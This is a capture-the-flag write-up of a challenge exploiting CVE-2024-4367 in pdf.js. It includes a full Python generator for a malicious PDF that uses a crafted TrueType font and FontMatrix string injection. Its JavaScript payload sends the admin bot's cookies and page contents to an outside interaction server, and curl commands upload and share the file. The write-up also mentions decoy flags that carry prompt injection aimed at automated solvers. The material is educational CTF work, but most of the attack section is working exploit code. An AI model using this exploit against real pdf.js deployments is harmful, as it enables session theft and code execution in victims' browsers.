DocuVault — Stored XSS via Malicious PDF (CVE-2024-4367)
DocuVault — Stored XSS via Malicious PDF (CVE-2024-4367)
Platform: HackAdvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-05-31 | Status: Solved Techniques: cve_2024_4367_pdfjs_fontmatrix_injection, truetype_unitsperem_zero_bypass, text_rendering_mode_add_to_path, stored_xss_via_pdf_upload, admin_bot_cookie_exfiltration, interact_server_path_exfiltration, honeypot_flag_detection
Summary
Task: Document sharing platform with in-browser PDF rendering via pdf.js 4.1.392, admin bot reviews shared documents. Solution: CVE-2024-4367 — inject JavaScript via malicious FontMatrix string in PDF font dictionary, exfiltrate admin cookie containing flag.
Recon
Port scan
bash read-only • copy allowednmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
hackadvisor| ID:20260531_hackadvisor_docuvault - Tags: xss, javascript, stored_xss, pdf, express, admin_bot, pdfjs, cve_2024_4367, font_injection, truetype
- Indicators: pdf.js version < 4.2.67 used for in-browser PDF rendering, admin bot opens user-shared document previews, FontMatrix array in PDF font dictionary without numeric validation, new Function() eval in getPathGenerator(), flag stored in admin cookie
- Source:
20260531_hackadvisor_docuvault.md
Foothold
Vulnerability / Misconfiguration
- cve_2024_4367_pdfjs_fontmatrix_injection
- truetype_unitsperem_zero_bypass
- text_rendering_mode_add_to_path
- stored_xss_via_pdf_upload
- admin_bot_cookie_exfiltration
bash read-only • copy allowed<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
bash read-only • copy allowedsudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
bash read-only • copy allowed<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- cve_2024_4367_pdfjs_fontmatrix_injection
- truetype_unitsperem_zero_bypass
- text_rendering_mode_add_to_path
- stored_xss_via_pdf_upload
- admin_bot_cookie_exfiltration
- interact_server_path_exfiltration
- honeypot_flag_detection
- Tags: xss, javascript, stored_xss, pdf, express, admin_bot, pdfjs, cve_2024_4367, font_injection, truetype
Original Writeup
<details><summary>Click to expand original content</summary>Description
DocuVault is a document sharing platform built by Vaultstream Technologies where teams can upload, preview, and collaborate on files. The application features in-browser PDF rendering for document previews, user workspaces, and a sharing system with admin review. When users share a document, it is queued for administrator review. An admin bot periodically opens shared document previews to check for policy compliance.
English summary: A document sharing platform renders uploaded PDFs in-browser using pdf.js. Users can share documents for admin review — an admin bot (HeadlessChrome) opens the preview page. The goal is to execute arbitrary JavaScript in the admin's browser and exfiltrate the flag from their cookie.
Credentials: user@test.com / password123
Analysis
Reconnaissance
- Stack: Express.js behind nginx/1.25.5
- PDF viewer: pdf.js version 4.1.392 (
apiVersionfrompdf.min.js) - CVE-2024-4367: Affects pdf.js < 4.2.67 — arbitrary JavaScript execution via FontMatrix injection
- Admin bot: HeadlessChrome/124.0.0.0, visits shared document preview pages
- Flag location: Admin bot's cookie (
FLAG=FLAG{...}) - Decoy flags: HTML source contains
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}with prompt injection — honeypot, must be ignored
CVE-2024-4367 Vulnerability Deep Dive
The vulnerability is in pdf.js's getPathGenerator() method in the main thread. When rendering font glyphs, pdf.js compiles glyph path commands into a JavaScript function via new Function():
javascript read-only • copy allowed// pdf.min.js - getPathGenerator if (this.isEvalSupported && FeatureTest.isEvalSupported) { const jsBuf = []; for (const current of cmds) { const args = current.args !== undefined ? current.args.join(",") : ""; jsBuf.push("c.", current.cmd, "(", args, ");\n"); } return this.compiledGlyphs[e] = new Function("c", "size", jsBuf.join("")); }
The cmds array includes a transform command whose args come from the font's fontMatrix:
javascript read-only • copy allowed// font_renderer.js - compileGlyph const cmds = [ {cmd: "save"}, {cmd: "transform", args: fontMatrix.slice()}, {cmd: "scale", args: ["size", "-size"]} ];
For TrueType fonts, FontRendererFactory.create determines the fontMatrix:
javascript read-only • copy allowedif (glyf) { const fontMatrix = !unitsPerEm ? font.fontMatrix // <-- uses dict value when unitsPerEm = 0 : [1/unitsPerEm, 0, 0, 1/unitsPerEm, 0, 0]; return new TrueTypeCompiled(parseGlyfTable(glyf, loca, indexToLocFormat), cmap, fontMatrix); }
When unitsPerEm = 0, it falls back to font.fontMatrix which comes from the PDF Font dictionary via dict.getArray("FontMatrix") — without any numeric validation. A PDF string element (...) in the FontMatrix array is returned as a JavaScript string and injected raw into the new Function() body.
Why TrueType (not CFF/OpenType)
CFF fonts always override properties.fontMatrix from the CFF DICT defaults — even when FontMatrix is absent in the PDF dict, getByName("FontMatrix") returns the default [0.001, 0, 0, 0.001, 0, 0]. The dict FontMatrix is never used.
TrueType's checkAndRepair does NOT modify fontMatrix, and setting unitsPerEm = 0 forces the renderer to use the dict value directly.
Why Text Rendering Mode 4
Without it, getPathGenerator() is only called when font.disableFontFace is true (which it isn't by default). Text rendering mode 4 (4 Tr = fill + add to path) sets the ADD_TO_PATH_FLAG which unconditionally triggers the vulnerable code path regardless of disableFontFace.
Solution
Step 1: Build TrueType Font with unitsPerEm = 0
Create a minimal valid TTF with fonttools containing an 'A' glyph, then binary-patch the head table's unitsPerEm field (offset 18 within the table) to 0:
python read-only • copy allowedfrom fontTools.fontBuilder import FontBuilder from fontTools.pens.ttGlyphPen import TTGlyphPen import struct upm = 1000 fb = FontBuilder(upm, isTTF=True) fb.setupGlyphOrder([".notdef", "A"]) fb.setupCharacterMap({0x41: "A"}) pen = TTGlyphPen(None) pen.moveTo((50, 0)); pen.lineTo((300, 700)); pen.lineTo((550, 0)); pen.closePath() a_glyph = pen.glyph() pen2 = TTGlyphPen(None) pen2.moveTo((0, 0)); pen2.lineTo((0, 700)); pen2.lineTo((500, 700)); pen2.lineTo((500, 0)); pen2.closePath() fb.setupGlyf({".notdef": pen2.glyph(), "A": a_glyph}) fb.setupHorizontalMetrics({".notdef": (600, 0), "A": (600, 50)}) fb.setupHorizontalHeader(ascent=800, descent=-200) fb.setupNameTable({"familyName": "InjTTF", "styleName": "Regular"}) fb.setupOS2(); fb.setupPost(); fb.setupDummyDSIG() fb.font.save("inj.ttf") # Patch unitsPerEm to 0 data = bytearray(open("inj.ttf", "rb").read()) num_tables = struct.unpack_from(">H", data, 4)[0] for i in range(num_tables): rec = 12 + i * 16 if data[rec:rec+4] == b"head": head_off = struct.unpack_from(">I", data, rec + 8)[0] struct.pack_into(">H", data, head_off + 18, 0) # unitsPerEm = 0 break open("inj_upm0.ttf", "wb").write(bytes(data))
Step 2: Craft the Injection Payload
The FontMatrix injection string breaks out of c.transform(...) and injects arbitrary JS:
FontMatrix: [0.001 0 0 0.001 0 (0\); <JS_PAYLOAD> ; c.transform\(0)]
This produces valid JS in the eval'd function body:
javascript read-only • copy allowedc.save(); c.transform(0.001,0,0,0.001,0,0); <JS_PAYLOAD> ; c.transform(0); c.scale(size,-size); // ... rest of glyph commands
The JS payload exfiltrates data to the HackAdvisor Interaction Server via URL paths (not query params, since the interact server only logs paths):
javascript read-only • copy allowedvar b='http://interact/<UUID>'; function s(p,d){ try{ new Image().src = b+'/'+encodeURIComponent(p)+'/'+encodeURIComponent((d||'').substring(0,800)); } catch(e){} } s('cookie', document.cookie); s('url', location.href); ['/','/flag','/admin','/profile','/dashboard'].forEach(function(u){ fetch(u, {credentials:'include'}) .then(function(r){ return r.text(); }) .then(function(t){ s('page'+u, t.substring(0,800)); }) .catch(function(e){}); });
Step 3: Build the Malicious PDF
python read-only • copy allowed#!/usr/bin/env python3 """CVE-2024-4367 PoC — Full exploit PDF generator""" import struct UUID = "9e88b2bc-b4cf-44e3-a3b6-6a2a7a71b2f3" INTERACT = f"http://interact/{UUID}" JS = ( "var b='" + INTERACT + "';" "function s(p,d){try{new Image().src=b+'/'+encodeURIComponent(p)+'/'+encodeURIComponent((d||'').substring(0,800));}catch(e){}}" "s('hit','1');s('cookie',document.cookie);s('url',location.href);" "['/','/flag','/admin','/profile','/dashboard'].forEach(function(u){" "fetch(u,{credentials:'include'}).then(function(r){return r.text();}).then(function(t){s('page'+u,t.substring(0,800));}).catch(function(e){});" "});" ) INJ = "0); " + JS + " c.transform(0" def pdf_str_escape(s): return s.replace("\\", "\\\\").replace("(", "\\(").replace(")", "\\)") INJ_ESC = pdf_str_escape(INJ) otf_data = open("inj_upm0.ttf", "rb").read() class PDFBuilder: def __init__(self): self.objects = [] def add(self, data): self.objects.append(data) return len(self.objects) def build(self): header = b"%PDF-1.7\n%\xe2\xe3\xcf\xd3\n" body = b"" offsets = [] for i, obj in enumerate(self.objects): offsets.append(len(header) + len(body)) body += f"{i+1} 0 obj\n".encode() + obj + b"\nendobj\n" xref_offset = len(header) + len(body) n = len(self.objects) + 1 xref = f"xref\n0 {n}\n".encode() + b"0000000000 65535 f \n" for off in offsets: xref += f"{off:010d} 00000 n \n".encode() trailer = f"trailer\n<< /Size {n} /Root 1 0 R >>\nstartxref\n{xref_offset}\n%%EOF\n".encode() return header + body + xref + trailer pdf = PDFBuilder() # 1: Catalog pdf.add(b"<< /Type /Catalog /Pages 2 0 R >>") # 2: Pages pdf.add(b"<< /Type /Pages /Kids [3 0 R] /Count 1 >>") # 3: Page pdf.add(b"<< /Type /Page /Parent 2 0 R /MediaBox [0 0 200 200] " b"/Resources << /Font << /F1 4 0 R >> >> /Contents 6 0 R >>") # 4: Font with malicious FontMatrix font_matrix = f"/FontMatrix [0.001 0 0 0.001 0 ({INJ_ESC})]" pdf.add(f"""<< /Type /Font /Subtype /Type1 /BaseFont /InjFont /FirstChar 65 /LastChar 65 /Widths [600] /FontDescriptor 5 0 R {font_matrix} /Encoding << /Type /Encoding /Differences [65 /A] >> >>""".encode()) # 5: FontDescriptor with FontFile2 (TrueType) pdf.add(b"""<< /Type /FontDescriptor /FontName /InjFont /Flags 4 /FontBBox [0 0 600 700] /ItalicAngle 0 /Ascent 800 /Descent -200 /CapHeight 700 /StemV 80 /FontFile2 7 0 R >>""") # 6: Content stream — text rendering mode 4 forces getPathGenerator cs = b"BT /F1 50 Tf 4 Tr 50 100 Td (A) Tj ET" pdf.add(b"<< /Length " + str(len(cs)).encode() + b" >>\nstream\n" + cs + b"\nendstream") # 7: Embedded TrueType font (unitsPerEm=0) pdf.add(b"<< /Length1 " + str(len(otf_data)).encode() + b" /Length " + str(len(otf_data)).encode() + b" >>\nstream\n" + otf_data + b"\nendstream") with open("exploit.pdf", "wb") as f: f.write(pdf.build())
Step 4: Upload, Share, and Exfiltrate
bash read-only • copy allowed# Login curl -c cookies.txt -X POST https://<target>/login \ -d "email=user@test.com&password=password123" # Upload malicious PDF curl -b cookies.txt -X POST https://<target>/documents/upload \ -F "file=@exploit.pdf" # Share document for admin review curl -b cookies.txt -X POST https://<target>/documents/<doc-uuid>/share
The admin bot visits the preview page → pdf.js renders the malicious PDF → getPathGenerator() evals the FontMatrix injection → JavaScript executes in admin's browser → cookie exfiltrated to interact server.
Step 5: Retrieve Flag from Interact Server
The interact server logged the admin bot's request:
GET /9e88b2bc-.../cookie/FLAG%3DFLAG%7BREDACTED%7D
Decoded: FLAG=FLAG{REDACTED}
Failed Approaches
- CFF/OpenType font: CFF DICT always provides a default FontMatrix (
[0.001, 0, 0, 0.001, 0, 0]) that overrides the PDF dict value — injection never reachesgetPathGenerator() - Query parameter exfiltration: HackAdvisor's Interaction Server doesn't log query strings, only request paths
- Type1 font with FontMatrix in PFA:
readNumberArray()usesparseFloat()which sanitizes string values toNaN, preventing injection - Submitting decoy flag: HTML source contains
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}— a honeypot with prompt injection text
signed by XESXOR